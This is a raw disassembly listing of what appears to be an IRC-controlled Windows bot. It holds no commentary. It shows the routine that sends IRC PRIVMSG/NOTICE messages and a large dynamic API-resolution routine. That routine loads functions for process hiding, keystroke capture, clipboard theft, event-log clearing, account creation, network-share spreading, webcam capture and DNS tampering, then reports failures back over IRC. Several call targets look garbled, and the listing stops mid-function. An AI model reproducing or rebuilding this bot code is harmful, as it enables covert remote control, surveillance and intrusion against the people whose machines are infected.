sub_409A72 proc near ; CODE XREF: sub_401ACD+518p
; sub_401ACD+137Dp ...
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 400h
cmp [ebp+arg_C], 0
push esi
push edi
mov edi, offset aNotice ; "NOTICE"
jnz short loc_409A8D
mov edi, offset aPrivmsg ; "PRIVMSG"
loc_409A8D: ; CODE XREF: sub_409A72+14j
push edi
call sub_41AFE0
push [ebp+arg_4]
mov esi, 1FAh
sub esi, eax
call sub_41AFE0
pop ecx
sub esi, eax
pop ecx
lea eax, [ebp+var_400]
push [ebp+arg_8]
push offset aS_1 ; "%s"
push esi
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_400]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push edi
push offset aSSS_0 ; "%s %s :%s\r\n"
push eax
call sub_41B886
add esp, 14h
lea eax, [ebp+var_200]
push 0
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_4CAFC4
cmp [ebp+arg_10], 0
pop edi
pop esi
jz short locret_409B10
push 7D0h
nop
call near ptr 2660F2Dh
locret_409B10: ; CODE XREF: sub_409A72+91j
leave
retn
sub_409A72 endp
; =============== S U B R O U T I N E =======================================
sub_409B12 proc near ; CODE XREF: ___:0040126Cp
push ebx
push ebp
mov ebp, dword_42709C
push esi
push edi
push offset aKernel32_dll ; "kernel32.dll"
call ebp
mov esi, dword_4270BC
mov edi, eax
xor ebx, ebx
cmp edi, ebx
jz loc_409C32
push offset aSeterrormode ; "SetErrorMode"
push edi
call esi
push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
push edi
mov dword_4CB020, eax
call esi
push offset aProcess32first ; "Process32First"
push edi
mov dword_4CAF94, eax
call esi
push offset aProcess32next ; "Process32Next"
push edi
mov dword_4CAF78, eax
call esi
push offset aModule32first ; "Module32First"
push edi
mov dword_4CAE88, eax
call esi
push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
push edi
mov dword_4CAE34, eax
call esi
push offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
push edi
mov dword_4CAE64, eax
call esi
push offset aGetdrivetypea ; "GetDriveTypeA"
push edi
mov dword_4CAEDC, eax
call esi
push offset aSearchpatha ; "SearchPathA"
push edi
mov dword_4CAFD4, eax
call esi
push offset aQueryperforman ; "QueryPerformanceCounter"
push edi
mov dword_4CB030, eax
call esi
push offset aQueryperform_0 ; "QueryPerformanceFrequency"
push edi
mov dword_4CAE94, eax
call esi
cmp dword_4CB020, ebx
mov dword_4CAE7C, eax
jz short loc_409C10
cmp dword_4CAF94, ebx
jz short loc_409C10
cmp dword_4CAF78, ebx
jz short loc_409C10
cmp dword_4CAE88, ebx
jz short loc_409C10
cmp dword_4CAE64, ebx
jz short loc_409C10
cmp dword_4CAEDC, ebx
jz short loc_409C10
cmp dword_4CAFD4, ebx
jz short loc_409C10
cmp dword_4CB030, ebx
jz short loc_409C10
cmp dword_4CAE94, ebx
jz short loc_409C10
cmp eax, ebx
jnz short loc_409C1A
loc_409C10: ; CODE XREF: sub_409B12+B8j
; sub_409B12+C0j ...
mov dword_4CB034, 1
loc_409C1A: ; CODE XREF: sub_409B12+FCj
push offset aRegisterservic ; "RegisterServiceProcess"
push edi
call esi
cmp eax, ebx
mov dword_4CAFAC, eax
jz short loc_409C47
push 1
push ebx
call eax
jmp short loc_409C47
; ---------------------------------------------------------------------------
loc_409C32: ; CODE XREF: sub_409B12+1Dj
nop
call near ptr 2670897h
mov dword_4CB038, eax
mov dword_4CB034, 1
loc_409C47: ; CODE XREF: sub_409B12+117j
; sub_409B12+11Ej
push offset aUser32_dll ; "user32.dll"
nop
call near ptr 26A0000h
mov edi, eax
cmp edi, ebx
jz loc_409D5C
push offset aSendmessagea ; "SendMessageA"
push edi
call esi
push offset aFindwindowa ; "FindWindowA"
push edi
mov dword_4CAFD0, eax
call esi
push offset aIswindow ; "IsWindow"
push edi
mov dword_4CAF80, eax
call esi
push offset aDestroywindow ; "DestroyWindow"
push edi
mov dword_4CAF14, eax
call esi
push offset aOpenclipboard ; "OpenClipboard"
push edi
mov dword_4CB024, eax
call esi
push offset aGetclipboardda ; "GetClipboardData"
push edi
mov dword_4CAF44, eax
call esi
push offset aCloseclipboard ; "CloseClipboard"
push edi
mov dword_4CAF64, eax
call esi
push offset aExitwindowsex ; "ExitWindowsEx"
push edi
mov dword_4CAFC8, eax
call esi
cmp dword_4CAFD0, ebx
mov dword_4CAEB4, eax
jz short loc_409D00
cmp dword_4CAF80, ebx
jz short loc_409D00
cmp dword_4CAF14, ebx
jz short loc_409D00
cmp dword_4CB024, ebx
jz short loc_409D00
cmp dword_4CAF44, ebx
jz short loc_409D00
cmp dword_4CAF64, ebx
jz short loc_409D00
cmp dword_4CAFC8, ebx
jz short loc_409D00
cmp eax, ebx
jnz short loc_409D0A
loc_409D00: ; CODE XREF: sub_409B12+1B8j
; sub_409B12+1C0j ...
mov dword_4CB03C, 1
loc_409D0A: ; CODE XREF: sub_409B12+1ECj
push offset aGetasynckeysta ; "GetAsyncKeyState"
push edi
call esi
push offset aGetkeystate ; "GetKeyState"
push edi
mov dword_4CAF40, eax
call esi
push offset aGetwindowtexta ; "GetWindowTextA"
push edi
mov dword_4CAE48, eax
call esi
push offset aGetforegroundw ; "GetForegroundWindow"
push edi
mov dword_4CAF10, eax
call esi
cmp dword_4CAF40, ebx
mov dword_4CAEF8, eax
jz short loc_409D67
cmp dword_4CAE48, ebx
jz short loc_409D67
cmp dword_4CAF10, ebx
jz short loc_409D67
cmp eax, ebx
jnz short loc_409D71
jmp short loc_409D67
; ---------------------------------------------------------------------------
loc_409D5C: ; CODE XREF: sub_409B12+144j
nop
call near ptr 2670897h
mov dword_4CB040, eax
loc_409D67: ; CODE XREF: sub_409B12+232j
; sub_409B12+23Aj ...
mov dword_4CB03C, 1
loc_409D71: ; CODE XREF: sub_409B12+246j
push offset aAdvapi32_dll ; "advapi32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_409F2A
push offset aRegopenkeyexa ; "RegOpenKeyExA"
push edi
call esi
push offset aRegcreatekeyex ; "RegCreateKeyExA"
push edi
mov dword_4CAFE4, eax
call esi
push offset aRegsetvalueexa ; "RegSetValueExA"
push edi
mov dword_4CAF28, eax
call esi
push offset aRegqueryvaluee ; "RegQueryValueExA"
push edi
mov dword_4CAF98, eax
call esi
push offset aRegdeletevalue ; "RegDeleteValueA"
push edi
mov dword_4CAE74, eax
call esi
push offset aRegclosekey ; "RegCloseKey"
push edi
mov dword_4CAED8, eax
call esi
push offset aOpeneventloga ; "OpenEventLogA"
push edi
mov dword_4CAF50, eax
call esi
push offset aCleareventloga ; "ClearEventLogA"
push edi
mov dword_4CAEF4, eax
call esi
cmp dword_4CAFE4, ebx
mov dword_4CAF04, eax
jz short loc_409E1A
cmp dword_4CAF28, ebx
jz short loc_409E1A
cmp dword_4CAF98, ebx
jz short loc_409E1A
cmp dword_4CAE74, ebx
jz short loc_409E1A
cmp dword_4CAED8, ebx
jz short loc_409E1A
cmp dword_4CAF50, ebx
jnz short loc_409E24
loc_409E1A: ; CODE XREF: sub_409B12+2DEj
; sub_409B12+2E6j ...
mov dword_4CB044, 1
loc_409E24: ; CODE XREF: sub_409B12+306j
push offset aOpenprocesstok ; "OpenProcessToken"
push edi
call esi
push offset aLookupprivileg ; "LookupPrivilegeValueA"
push edi
mov dword_4CAF58, eax
call esi
push offset aAdjusttokenpri ; "AdjustTokenPrivileges"
push edi
mov dword_4CAF30, eax
call esi
cmp dword_4CAF58, ebx
mov dword_4CAFE0, eax
jz short loc_409E5F
cmp dword_4CAF30, ebx
jz short loc_409E5F
cmp eax, ebx
jnz short loc_409E69
loc_409E5F: ; CODE XREF: sub_409B12+33Fj
; sub_409B12+347j
mov dword_4CB044, 1
loc_409E69: ; CODE XREF: sub_409B12+34Bj
push offset aOpenscmanagera ; "OpenSCManagerA"
push edi
call esi
push offset aOpenservicea ; "OpenServiceA"
push edi
mov dword_4CAF68, eax
call esi
push offset aStartservicea ; "StartServiceA"
push edi
mov dword_4CAE50, eax
call esi
push offset aControlservice ; "ControlService"
push edi
mov dword_4CAE58, eax
call esi
push offset aDeleteservice ; "DeleteService"
push edi
mov dword_4CAEBC, eax
call esi
push offset aCloseserviceha ; "CloseServiceHandle"
push edi
mov dword_4CAEC0, eax
call esi
push offset aEnumservicesst ; "EnumServicesStatusA"
push edi
mov dword_4CAE6C, eax
call esi
push offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
push edi
mov dword_4CAF34, eax
call esi
cmp dword_4CAF68, ebx
mov dword_4CAE5C, eax
jz short loc_409F0D
cmp dword_4CAE50, ebx
jz short loc_409F0D
cmp dword_4CAE58, ebx
jz short loc_409F0D
cmp dword_4CAEBC, ebx
jz short loc_409F0D
cmp dword_4CAEC0, ebx
jz short loc_409F0D
cmp dword_4CAE6C, ebx
jz short loc_409F0D
cmp dword_4CAF34, ebx
jz short loc_409F0D
cmp eax, ebx
jnz short loc_409F17
loc_409F0D: ; CODE XREF: sub_409B12+3C5j
; sub_409B12+3CDj ...
mov dword_4CB044, 1
loc_409F17: ; CODE XREF: sub_409B12+3F9j
push offset aGetusernamea ; "GetUserNameA"
push edi
call esi
cmp eax, ebx
mov dword_4CAE54, eax
jnz short loc_409F3F
jmp short loc_409F35
; ---------------------------------------------------------------------------
loc_409F2A: ; CODE XREF: sub_409B12+26Aj
nop
call near ptr 2670897h
mov dword_4CB048, eax
loc_409F35: ; CODE XREF: sub_409B12+416j
mov dword_4CB044, 1
loc_409F3F: ; CODE XREF: sub_409B12+414j
push offset aGdi32_dll ; "gdi32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_40A00B
push offset aCreatedca ; "CreateDCA"
push edi
call esi
push offset aCreatedibsecti ; "CreateDIBSection"
push edi
mov dword_4CAF60, eax
call esi
push offset aCreatecompatib ; "CreateCompatibleDC"
push edi
mov dword_4CAFB8, eax
call esi
push offset aGetdevicecaps ; "GetDeviceCaps"
push edi
mov dword_4CAFC0, eax
call esi
push offset aGetdibcolortab ; "GetDIBColorTable"
push edi
mov dword_4CAF7C, eax
call esi
push offset aSelectobject ; "SelectObject"
push edi
mov dword_4CAE98, eax
call esi
push offset aBitblt ; "BitBlt"
push edi
mov dword_4CAE44, eax
call esi
push offset aDeletedc ; "DeleteDC"
push edi
mov dword_4CAFBC, eax
call esi
push offset aDeleteobject ; "DeleteObject"
push edi
mov dword_4CAE30, eax
call esi
cmp dword_4CAF60, ebx
mov dword_4CAED0, eax
jz short loc_40A016
cmp dword_4CAFB8, ebx
jz short loc_40A016
cmp dword_4CAFC0, ebx
jz short loc_40A016
cmp dword_4CAF7C, ebx
jz short loc_40A016
cmp dword_4CAE98, ebx
jz short loc_40A016
cmp dword_4CAE44, ebx
jz short loc_40A016
cmp dword_4CAFBC, ebx
jz short loc_40A016
cmp dword_4CAE30, ebx
jz short loc_40A016
cmp eax, ebx
jnz short loc_40A020
jmp short loc_40A016
; ---------------------------------------------------------------------------
loc_40A00B: ; CODE XREF: sub_409B12+438j
call near ptr 2670897h
nop
mov dword_4CB050, eax
loc_40A016: ; CODE XREF: sub_409B12+4B9j
; sub_409B12+4C1j ...
mov dword_4CB04C, 1
loc_40A020: ; CODE XREF: sub_409B12+4F5j
mov ebp, dword_4270B8
push offset aWs2_32_dll ; "ws2_32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_40A2DC
push offset aWsastartup ; "WSAStartup"
push edi
call esi
push offset aWsasocketa ; "WSASocketA"
push edi
mov dword_4CAEE4, eax
call esi
push offset aWsaasyncselect ; "WSAAsyncSelect"
push edi
mov dword_4CB018, eax
call esi
push offset a__wsafdisset ; "__WSAFDIsSet"
push edi
mov dword_4CAE84, eax
call esi
push offset aWsaioctl ; "WSAIoctl"
push edi
mov dword_4CAE60, eax
call esi
push offset aWsagetlasterro ; "WSAGetLastError"
push edi
mov dword_4CAF20, eax
call esi
push offset aWsacleanup ; "WSACleanup"
push edi
mov dword_4CAF08, eax
call esi
push offset aSocket ; "socket"
push edi
mov dword_4CAECC, eax
call esi
push offset aIoctlsocket ; "ioctlsocket"
push edi
mov dword_4CAFF4, eax
call esi
push offset aConnect ; "connect"
push edi
mov dword_4CB010, eax
call esi
push offset aInet_ntoa ; "inet_ntoa"
push edi
mov dword_4CAF1C, eax
call esi
push offset aInet_addr ; "inet_addr"
push edi
mov dword_4CB000, eax
call esi
push offset aHtons ; "htons"
push edi
mov dword_4CAFB4, eax
call esi
push offset aHtonl ; "htonl"
push edi
mov dword_4CAF74, eax
call esi
push offset aNtohs ; "ntohs"
push edi
mov dword_4CAF70, eax
call esi
push offset aNtohl ; "ntohl"
push edi
mov dword_4CAEA4, eax
call esi
push offset aSend ; "send"
push edi
mov dword_4CAE9C, eax
call esi
push offset aSendto ; "sendto"
push edi
mov dword_4CAFC4, eax
call esi
push offset aRecv ; "recv"
push edi
mov dword_4CAFD8, eax
call esi
push offset aRecvfrom ; "recvfrom"
push edi
mov dword_4CAF8C, eax
call esi
mov dword_4CAF4C, eax
push offset aBind ; "bind"
push edi
call esi
push offset aSelect ; "select"
push edi
mov dword_4CAFA0, eax
call esi
push offset aListen ; "listen"
push edi
mov dword_4CAF5C, eax
call esi
push offset aAccept ; "accept"
push edi
mov dword_4CAF9C, eax
call esi
push offset aSetsockopt ; "setsockopt"
push edi
mov dword_4CB008, eax
call esi
push offset aGetsockname ; "getsockname"
push edi
mov dword_4CAF54, eax
call esi
push offset aGethostname ; "gethostname"
push edi
mov dword_4CAF18, eax
call esi
push offset aGethostbyname ; "gethostbyname"
push edi
mov dword_4CAF88, eax
call esi
push offset aGethostbyaddr ; "gethostbyaddr"
push edi
mov dword_4CAFF8, eax
call esi
push offset aGetpeername ; "getpeername"
push edi
mov dword_4CAF2C, eax
call esi
push offset aClosesocket ; "closesocket"
push edi
mov dword_4CAEC8, eax
call esi
cmp dword_4CAEE4, ebx
mov dword_4CB00C, eax
jz loc_40A2E7
cmp dword_4CB018, ebx
jz loc_40A2E7
cmp dword_4CAE84, ebx
jz loc_40A2E7
cmp dword_4CAF20, ebx
jz loc_40A2E7
cmp dword_4CAF08, ebx
jz loc_40A2E7
cmp dword_4CAECC, ebx
jz loc_40A2E7
cmp dword_4CAFF4, ebx
jz loc_40A2E7
cmp dword_4CB010, ebx
jz loc_40A2E7
cmp dword_4CAF1C, ebx
jz loc_40A2E7
cmp dword_4CB000, ebx
jz loc_40A2E7
cmp dword_4CAFB4, ebx
jz loc_40A2E7
cmp dword_4CAF74, ebx
jz loc_40A2E7
cmp dword_4CAF70, ebx
jz loc_40A2E7
cmp dword_4CAEA4, ebx
jz short loc_40A2E7
cmp dword_4CAFC4, ebx
jz short loc_40A2E7
cmp dword_4CAFD8, ebx
jz short loc_40A2E7
cmp dword_4CAF8C, ebx
jz short loc_40A2E7
cmp dword_4CAF4C, ebx
jz short loc_40A2E7
cmp dword_4CAFA0, ebx
jz short loc_40A2E7
cmp dword_4CAF5C, ebx
jz short loc_40A2E7
cmp dword_4CAF9C, ebx
jz short loc_40A2E7
cmp dword_4CB008, ebx
jz short loc_40A2E7
cmp dword_4CAF54, ebx
jz short loc_40A2E7
cmp dword_4CAF18, ebx
jz short loc_40A2E7
cmp dword_4CAF88, ebx
jz short loc_40A2E7
cmp dword_4CAFF8, ebx
jz short loc_40A2E7
cmp dword_4CAF2C, ebx
jz short loc_40A2E7
cmp eax, ebx
jnz short loc_40A2F1
jmp short loc_40A2E7
; ---------------------------------------------------------------------------
loc_40A2DC: ; CODE XREF: sub_409B12+51Fj
nop
call near ptr 2670897h
mov dword_4CB058, eax
loc_40A2E7: ; CODE XREF: sub_409B12+6BEj
; sub_409B12+6CAj ...
mov dword_4CB054, 1
loc_40A2F1: ; CODE XREF: sub_409B12+7C6j
push offset aWininet_dll ; "wininet.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_40A3F6
push offset aInternetgetcon ; "InternetGetConnectedState"
push edi
call esi
push offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
push edi
mov dword_4CAEB0, eax
call esi
push offset aHttpopenreques ; "HttpOpenRequestA"
push edi
mov dword_4CAE38, eax
call esi
push offset aHttpsendreques ; "HttpSendRequestA"
push edi
mov dword_4CAF3C, eax
call esi
push offset aInternetconnec ; "InternetConnectA"
push edi
mov dword_4CAEE8, eax
call esi
push offset aInternetopena ; "InternetOpenA"
push edi
mov dword_4CAF48, eax
call esi
push offset aInternetopenur ; "InternetOpenUrlA"
push edi
mov dword_4CAF0C, eax
call esi
push offset aInternetcracku ; "InternetCrackUrlA"
push edi
mov dword_4CAE78, eax
call esi
push offset aInternetreadfi ; "InternetReadFile"
push edi
mov dword_4CAE70, eax
call esi
push offset aInternetcloseh ; "InternetCloseHandle"
push edi
mov dword_4CAE80, eax
call esi
cmp dword_4CAEB0, ebx
mov ecx, dword_4CAF0C
mov dword_4CAFA8, eax
jz short loc_40A3D2
cmp dword_4CAE38, ebx
jz short loc_40A3D2
cmp dword_4CAF3C, ebx
jz short loc_40A3D2
cmp dword_4CAEE8, ebx
jz short loc_40A3D2
cmp dword_4CAF48, ebx
jz short loc_40A3D2
cmp ecx, ebx
jz short loc_40A3D2
cmp dword_4CAE78, ebx
jz short loc_40A3D2
cmp dword_4CAE70, ebx
jz short loc_40A3D2
cmp dword_4CAE80, ebx
jz short loc_40A3D2
cmp eax, ebx
jnz short loc_40A3DC
loc_40A3D2: ; CODE XREF: sub_409B12+87Ej
; sub_409B12+886j ...
mov dword_4CB05C, 1
loc_40A3DC: ; CODE XREF: sub_409B12+8BEj
cmp ecx, ebx
jz short loc_40A411
push ebx
push ebx
push ebx
push ebx
push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
call ecx
cmp eax, ebx
mov dword_4CAF24, eax
jnz short loc_40A411
jmp short loc_40A40B
; ---------------------------------------------------------------------------
loc_40A3F6: ; CODE XREF: sub_409B12+7EAj
call near ptr 2670897h
nop
mov dword_4CB060, eax
mov dword_4CB05C, 1
loc_40A40B: ; CODE XREF: sub_409B12+8E2j
mov dword_4CAF24, ebx
loc_40A411: ; CODE XREF: sub_409B12+8CCj
; sub_409B12+8E0j
push offset aIcmp_dll ; "icmp.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A45B
push offset aIcmpcreatefile ; "IcmpCreateFile"
push edi
call esi
push offset aIcmpclosehandl ; "IcmpCloseHandle"
push edi
mov dword_4CAEFC, eax
call esi
push offset aIcmpsendecho ; "IcmpSendEcho"
push edi
mov dword_4CB02C, eax
call esi
cmp dword_4CAEFC, ebx
mov dword_4CAE8C, eax
jz short loc_40A466
cmp dword_4CB02C, ebx
jz short loc_40A466
cmp eax, ebx
jnz short loc_40A470
jmp short loc_40A466
; ---------------------------------------------------------------------------
loc_40A45B: ; CODE XREF: sub_409B12+90Aj
nop
call near ptr 2670897h
mov dword_4CB068, eax
loc_40A466: ; CODE XREF: sub_409B12+939j
; sub_409B12+941j ...
mov dword_4CB064, 1
loc_40A470: ; CODE XREF: sub_409B12+945j
push offset aNetapi32_dll ; "netapi32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_40A577
push offset aNetshareadd ; "NetShareAdd"
push edi
call esi
push offset aNetsharedel ; "NetShareDel"
push edi
mov dword_4CAE68, eax
call esi
push offset aNetshareenum ; "NetShareEnum"
push edi
mov dword_4CAE40, eax
call esi
push offset aNetschedulejob ; "NetScheduleJobAdd"
push edi
mov dword_4CAEB8, eax
call esi
push offset aNetapibufferfr ; "NetApiBufferFree"
push edi
mov dword_4CAEEC, eax
call esi
push offset aNetremotetod ; "NetRemoteTOD"
push edi
mov dword_4CB004, eax
call esi
push offset aNetuseradd ; "NetUserAdd"
push edi
mov dword_4CAEA0, eax
call esi
push offset aNetuserdel ; "NetUserDel"
push edi
mov dword_4CAE4C, eax
call esi
push offset aNetuserenum ; "NetUserEnum"
push edi
mov dword_4CAE3C, eax
call esi
push offset aNetusergetinfo ; "NetUserGetInfo"
push edi
mov dword_4CAED4, eax
call esi
push offset aNetmessagebuff ; "NetMessageBufferSend"
push edi
mov dword_4CAFCC, eax
call esi
push offset aNetwkstagetinf ; "NetWkstaGetInfo"
push edi
mov dword_4CAF84, eax
call esi
cmp dword_4CAE68, ebx
mov dword_4CAEA8, eax
jz short loc_40A582
cmp dword_4CAE40, ebx
jz short loc_40A582
cmp dword_4CAEB8, ebx
jz short loc_40A582
cmp dword_4CAEEC, ebx
jz short loc_40A582
cmp dword_4CB004, ebx
jz short loc_40A582
cmp dword_4CAEA0, ebx
jz short loc_40A582
cmp dword_4CAE4C, ebx
jz short loc_40A582
cmp dword_4CAE3C, ebx
jz short loc_40A582
cmp dword_4CAED4, ebx
jz short loc_40A582
cmp dword_4CAFCC, ebx
jz short loc_40A582
cmp dword_4CAF84, ebx
jnz short loc_40A58C
jmp short loc_40A582
; ---------------------------------------------------------------------------
loc_40A577: ; CODE XREF: sub_409B12+969j
nop
call near ptr 2670897h
mov dword_4CB070, eax
loc_40A582: ; CODE XREF: sub_409B12+A11j
; sub_409B12+A19j ...
mov dword_4CB06C, 1
loc_40A58C: ; CODE XREF: sub_409B12+A61j
push offset aDnsapi_dll ; "dnsapi.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A5C1
push offset aDnsflushresolv ; "DnsFlushResolverCache"
push edi
call esi
push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
push edi
mov dword_4CAE90, eax
call esi
cmp dword_4CAE90, ebx
mov dword_4CAF6C, eax
jz short loc_40A5CC
cmp eax, ebx
jnz short loc_40A5D6
jmp short loc_40A5CC
; ---------------------------------------------------------------------------
loc_40A5C1: ; CODE XREF: sub_409B12+A85j
nop
call near ptr 2670897h
mov dword_4CB078, eax
loc_40A5CC: ; CODE XREF: sub_409B12+AA7j
; sub_409B12+AADj
mov dword_4CB074, 1
loc_40A5D6: ; CODE XREF: sub_409B12+AABj
push offset aIphlpapi_dll ; "iphlpapi.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A60B
push offset aGetipnettable ; "GetIpNetTable"
push edi
call esi
push offset aDeleteipnetent ; "DeleteIpNetEntry"
push edi
mov dword_4CAFF0, eax
call esi
cmp dword_4CAFF0, ebx
mov dword_4CAFEC, eax
jz short loc_40A616
cmp eax, ebx
jnz short loc_40A620
jmp short loc_40A616
; ---------------------------------------------------------------------------
loc_40A60B: ; CODE XREF: sub_409B12+ACFj
nop
call near ptr 2670897h
mov dword_4CB080, eax
loc_40A616: ; CODE XREF: sub_409B12+AF1j
; sub_409B12+AF7j
mov dword_4CB07C, 1
loc_40A620: ; CODE XREF: sub_409B12+AF5j
push offset aMpr_dll ; "mpr.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A67F
push offset aWnetaddconnect ; "WNetAddConnection2A"
push edi
call esi
push offset aWnetaddconne_0 ; "WNetAddConnection2W"
push edi
mov dword_4CB01C, eax
call esi
push offset aWnetcancelconn ; "WNetCancelConnection2A"
push edi
mov dword_4CB014, eax
call esi
push offset aWnetcancelco_0 ; "WNetCancelConnection2W"
push edi
mov dword_4CAFDC, eax
call esi
cmp dword_4CB01C, ebx
mov dword_4CAEAC, eax
jz short loc_40A68A
cmp dword_4CB014, ebx
jz short loc_40A68A
cmp dword_4CAFDC, ebx
jz short loc_40A68A
cmp eax, ebx
jnz short loc_40A694
jmp short loc_40A68A
; ---------------------------------------------------------------------------
loc_40A67F: ; CODE XREF: sub_409B12+B19j
nop
call near ptr 2670897h
mov dword_4CB088, eax
loc_40A68A: ; CODE XREF: sub_409B12+B55j
; sub_409B12+B5Dj ...
mov dword_4CB084, 1
loc_40A694: ; CODE XREF: sub_409B12+B69j
push offset aShell32_dll ; "shell32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A6C9
push offset aShellexecutea ; "ShellExecuteA"
push edi
call esi
push offset aShchangenotify ; "SHChangeNotify"
push edi
mov dword_4CAEE0, eax
call esi
cmp dword_4CAEE0, ebx
mov dword_4CAFE8, eax
jz short loc_40A6D4
cmp eax, ebx
jnz short loc_40A6DE
jmp short loc_40A6D4
; ---------------------------------------------------------------------------
loc_40A6C9: ; CODE XREF: sub_409B12+B8Dj
nop
call near ptr 2670897h
mov dword_4CB090, eax
loc_40A6D4: ; CODE XREF: sub_409B12+BAFj
; sub_409B12+BB5j
mov dword_4CB08C, 1
loc_40A6DE: ; CODE XREF: sub_409B12+BB3j
push offset aOdbc32_dll ; "odbc32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A767
push offset aSqldriverconne ; "SQLDriverConnect"
push edi
call esi
push offset aSqlsetenvattr ; "SQLSetEnvAttr"
push edi
mov dword_4CAFB0, eax
call esi
push offset aSqlexecdirect ; "SQLExecDirect"
push edi
mov dword_4CAFFC, eax
call esi
push offset aSqlallochandle ; "SQLAllocHandle"
push edi
mov dword_4CAF38, eax
call esi
push offset aSqlfreehandle ; "SQLFreeHandle"
push edi
mov dword_4CAEF0, eax
call esi
push offset aSqldisconnect ; "SQLDisconnect"
push edi
mov dword_4CAF90, eax
call esi
cmp dword_4CAFB0, ebx
mov dword_4CAF00, eax
jz short loc_40A772
cmp dword_4CAFFC, ebx
jz short loc_40A772
cmp dword_4CAF38, ebx
jz short loc_40A772
cmp dword_4CAEF0, ebx
jz short loc_40A772
cmp dword_4CAF90, ebx
jz short loc_40A772
cmp eax, ebx
jnz short loc_40A77C
jmp short loc_40A772
; ---------------------------------------------------------------------------
loc_40A767: ; CODE XREF: sub_409B12+BD7j
nop
call near ptr 2670897h
mov dword_4CB098, eax
loc_40A772: ; CODE XREF: sub_409B12+C2Dj
; sub_409B12+C35j ...
mov dword_4CB094, 1
loc_40A77C: ; CODE XREF: sub_409B12+C51j
push offset aAvicap32_dll ; "avicap32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A7B1
push offset aCapcreatecaptu ; "capCreateCaptureWindowA"
push edi
call esi
push offset aCapgetdriverde ; "capGetDriverDescriptionA"
push edi
mov dword_4CAEC4, eax
call esi
cmp dword_4CAEC4, ebx
mov dword_4CAFA4, eax
jz short loc_40A7BC
cmp eax, ebx
jnz short loc_40A7C6
jmp short loc_40A7BC
; ---------------------------------------------------------------------------
loc_40A7B1: ; CODE XREF: sub_409B12+C75j
call near ptr 2670897h
nop
mov dword_4CB0A0, eax
loc_40A7BC: ; CODE XREF: sub_409B12+C97j
; sub_409B12+C9Dj
mov dword_4CB09C, 1
loc_40A7C6: ; CODE XREF: sub_409B12+C9Bj
push 1
pop eax
pop edi
pop esi
pop ebp
pop ebx
retn
sub_409B12 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A7CE proc near ; CODE XREF: sub_401ACD+2536p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push ebx
mov ebx, [ebp+arg_4]
push esi
xor esi, esi
cmp dword_4CB034, esi
push edi
mov edi, [ebp+arg_8]
jz short loc_40A816
push dword_4CB038
lea eax, [ebp+var_200]
push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A72
add esp, 20h
loc_40A816: ; CODE XREF: sub_40A7CE+1Aj
cmp dword_4CB03C, esi
jz short loc_40A84A
push dword_4CB040
lea eax, [ebp+var_200]
push offset aUser32_dllFail ; "User32.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A72
add esp, 20h
loc_40A84A: ; CODE XREF: sub_40A7CE+4Ej
cmp dword_4CB044, esi
jz short loc_40A87E
push dword_4CB048
lea eax, [ebp+var_200]
push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A72
add esp, 20h
loc_40A87E: ; CODE XREF: sub_40A7CE+82j
cmp dword_4CB04C, esi
jz short loc_40A8B2
push dword_4CB050
lea eax, [ebp+var_200]
push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A72
add esp, 20h
loc_40A8B2: ; CODE XREF: sub_40A7CE+B6j
cmp dword_4CB054, esi
jz short loc_40A8E6
push dword_4CB058
lea eax, [ebp+var_200]
push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A72
add esp, 20h
loc_40A8E6: ; CODE XREF: sub_40A7CE+EAj
cmp dword_4CB05C, esi
jz short loc_40A91A
push dword_4CB060
lea eax, [ebp+var_200]
push offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A72
add esp, 20h
loc_40A91A: ; CODE XREF: sub_40A7CE+11Ej
cmp dword_4CB064, esi
jz short loc_40A94E
push dword_4CB068
lea eax, [ebp+var_200]
push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
push eax
